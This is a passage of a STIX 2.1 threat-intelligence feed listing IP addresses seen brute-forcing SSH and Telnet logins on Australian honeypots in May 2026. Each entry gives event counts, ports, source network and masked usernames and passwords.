      "valid_from": "2026-05-29T08:15:11.000Z",
      "valid_until": "2026-06-30T08:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--f51e0169-e932-4037-b331-8a0a79412ed9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.111.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--824ec356-a32f-478c-b231-fd99f24af4a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.198.62.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1ca5bc22-c40e-4d2a-859e-151dec4b6d38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.243.71.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8d6071af-7c42-4c3e-bef2-eff75468713c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.171.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--36dacc29-ac0f-4e1b-9924-8b9faa312f46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.37.100.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********5, H**********************3.",
      "id": "indicator--d64a8997-37b2-46f5-9713-413e80990e92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.156.201.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--320ff59e-ef0d-4b25-ac58-243d66621569",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.214.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 167. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada. Usernames observed (masked): r**t, w******n, 3**********4, a***n, ***. Passwords observed (masked): ***, 1******2, ***, 1**4, 1****6.",
      "id": "indicator--1fe1c409-4468-4ea8-93f9-e1721bb59763",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.157.68.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 701. Organisation(s): Verizon Business. Usernames observed (masked): r**t, 3**********4, a***n, a****e, d****n. Passwords observed (masked): 3***********4, 3**********4, Q********., W******6, a*******0.",
      "id": "indicator--6e37f404-41de-4a46-9997-3d4bea371365",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.173.193.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): r**t, 3**********4, a***n, h***n, j**n. Passwords observed (masked): 1****6, 1******4, 1******r, 3***********4, 3**********4.",
      "id": "indicator--aedd66ae-0bb5-4d29-84cc-f260d1ef16d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.218.69.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:15:15.000Z",
      "valid_until": "2026-06-30T09:15:08.000Z"
    },
    {
      "created": "2026-05-29T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--be78fca5-d6cd-4d69-8b07-4b3a71127278",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.53.233.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:15:10.000Z",
      "valid_until": "2026-06-30T10:15:08.000Z"
    },
    {
      "created": "2026-05-29T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): d****y. Passwords observed (masked): d*********2.",
      "id": "indicator--7cc45110-83b8-482a-a926-fc1a86248cfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.21.26.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:15:10.000Z",
      "valid_until": "2026-06-30T10:15:08.000Z"
    },
    {
      "created": "2026-05-29T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--cf1d3da8-1356-4b8a-9b3a-d8f73c15055c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:15:10.000Z",
      "valid_until": "2026-06-30T10:15:08.000Z"
    },
    {
      "created": "2026-05-29T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 238. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LK. ASN(s): 9329. Organisation(s): Sri Lanka Telecom Internet. Usernames observed (masked): r**t, 3**********4, m****n, u**r, a***n. Passwords observed (masked): ***, 3***********4, 3**********4, !**************x, 1**********E.",
      "id": "indicator--93bdcb5b-faec-45f2-9380-41bb631a4419",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.247.224.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:15:10.000Z",
      "valid_until": "2026-06-30T10:15:08.000Z"
    },
    {
      "created": "2026-05-29T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 167. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 8796. Organisation(s): FASTNET DATA INC. Usernames observed (masked): r**t, m****n, 3**********4, a***n, f**d. Passwords observed (masked): ***, !**************x, 1**********E, 1**7, 3***********4.",
      "id": "indicator--48023f82-f279-42ff-8865-96feb77e4075",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.205.27.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:15:10.000Z",
      "valid_until": "2026-06-30T10:15:08.000Z"
    },
    {
      "created": "2026-05-29T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t. Passwords observed (masked): R*******3.",
      "id": "indicator--3f4d3863-1226-4219-8540-c8594b0bc026",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '57.128.225.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:15:10.000Z",
      "valid_until": "2026-06-30T10:15:08.000Z"
    },
    {
      "created": "2026-05-29T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 9595. Organisation(s): NTT-ME Corporation. Usernames observed (masked): l****o, 3**********4, a***n, f**d, ***. Passwords observed (masked): 3***********4, 3**********4, l****o, ***, 1****6.",
      "id": "indicator--179144e5-28b6-48cc-96cb-22887f154b15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.98.197.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:15:10.000Z",
      "valid_until": "2026-06-30T10:15:08.000Z"
    },
    {
      "created": "2026-05-29T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bd6f7488-b4fc-4d1f-8695-529ee667319b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T10:15:10.000Z",
      "valid_until": "2026-06-30T10:15:08.000Z"
    },
    {
      "created": "2026-05-29T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d543b8f1-1e93-4049-9369-009da58e726a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.59.138.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:15:13.000Z",
      "valid_until": "2026-06-30T11:15:08.000Z"
    },
    {
      "created": "2026-05-29T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--39620776-5624-4596-8576-d98a16ab1ec7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.244.178.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:15:13.000Z",
      "valid_until": "2026-06-30T11:15:08.000Z"
    },
    {
      "created": "2026-05-29T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 59588. Organisation(s): Al Atheer Telecommunication-Iraq Co. Ltd. Incorporated in Cayman Islands.",
      "id": "indicator--80e8ab27-7c27-41dd-bd3b-74da68208589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.236.166.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:15:13.000Z",
      "valid_until": "2026-06-30T11:15:08.000Z"
    },
    {
      "created": "2026-05-29T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--24495265-c15c-452d-9854-5d4a4a3c4db9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:15:13.000Z",
      "valid_until": "2026-06-30T11:15:08.000Z"
    },
    {
      "created": "2026-05-29T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--4fc89db2-084d-4d68-b27c-d45f0d01ac4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.133.202.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:15:13.000Z",
      "valid_until": "2026-06-30T11:15:08.000Z"
    },
    {
      "created": "2026-05-29T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--87da9028-6a21-4470-bc14-5cf7276bb71a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.129.255.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:15:15.000Z",
      "valid_until": "2026-06-30T12:15:08.000Z"
    },
    {
      "created": "2026-05-29T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): a***n, r**t, 3**********4, a**i, c****s. Passwords observed (masked): 1****6, 3***********4, 3**********4, Q********6, a******3.",
      "id": "indicator--1b8c3dac-a98d-41ea-9d6d-cc8fd03ced95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.168.123.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:15:15.000Z",
      "valid_until": "2026-06-30T12:15:08.000Z"
    },
    {
      "created": "2026-05-29T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): Q**********$.",
      "id": "indicator--886ab8a5-8c5d-40e2-b96d-fa4b5605f80a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.14.237.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:15:15.000Z",
      "valid_until": "2026-06-30T12:15:08.000Z"
    },
    {
      "created": "2026-05-29T12:15:15.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--d4c7373e-53c5-4552-835b-a9107ef41e1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.68.29.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:15:15.000Z",
      "valid_until": "2026-06-30T12:15:08.000Z"
    },
    {
      "created": "2026-05-29T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, p*******r, u***2, a***n. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1*******A, I*******3.",
      "id": "indicator--f95b3b65-7568-4556-8900-9b9f47cd5112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.65.2.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:15:15.000Z",
      "valid_until": "2026-06-30T12:15:08.000Z"
    },
    {
      "created": "2026-05-29T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--6bd5e350-457d-4fe3-bcaf-c24b3841b176",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.92.137.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:15:15.000Z",
      "valid_until": "2026-06-30T12:15:08.000Z"
    },
    {
      "created": "2026-05-29T12:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--a4cbf82f-a822-40e8-89df-d2d4d4ea1061",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.55.198.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:15:15.000Z",
      "valid_until": "2026-06-30T12:15:08.000Z"
    },
    {
      "created": "2026-05-29T12:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61941. Organisation(s): Enove Solucoes em Comunicacao Ltda.",
      "id": "indicator--f56bfce7-8670-4a74-b252-9b4f58648078",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.139.216.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:15:15.000Z",
      "valid_until": "2026-06-30T12:15:08.000Z"
    },
    {
      "created": "2026-05-29T12:15:15.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--4374089b-a00a-4eb8-b942-b48d390cad62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.138.85.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:15:15.000Z",
      "valid_until": "2026-06-30T12:15:08.000Z"
    },
    {
      "created": "2026-05-29T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 17621. Organisation(s): China Unicom Shanghai network. Usernames observed (masked): r**t, g*****o. Passwords observed (masked): 1******q, C*******@, P**********!, g*****o.",
      "id": "indicator--ab5e8c4f-7aab-4b29-9a52-930ee8ae9d7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.75.227.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T13:15:11.000Z",
      "valid_until": "2026-06-30T13:15:08.000Z"
    },
    {
      "created": "2026-05-29T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--327cff5d-7356-4e28-8cec-77b75a42329b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.190.160.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T13:15:11.000Z",
      "valid_until": "2026-06-30T13:15:08.000Z"
    },
    {
      "created": "2026-05-29T13:15:11.000Z",
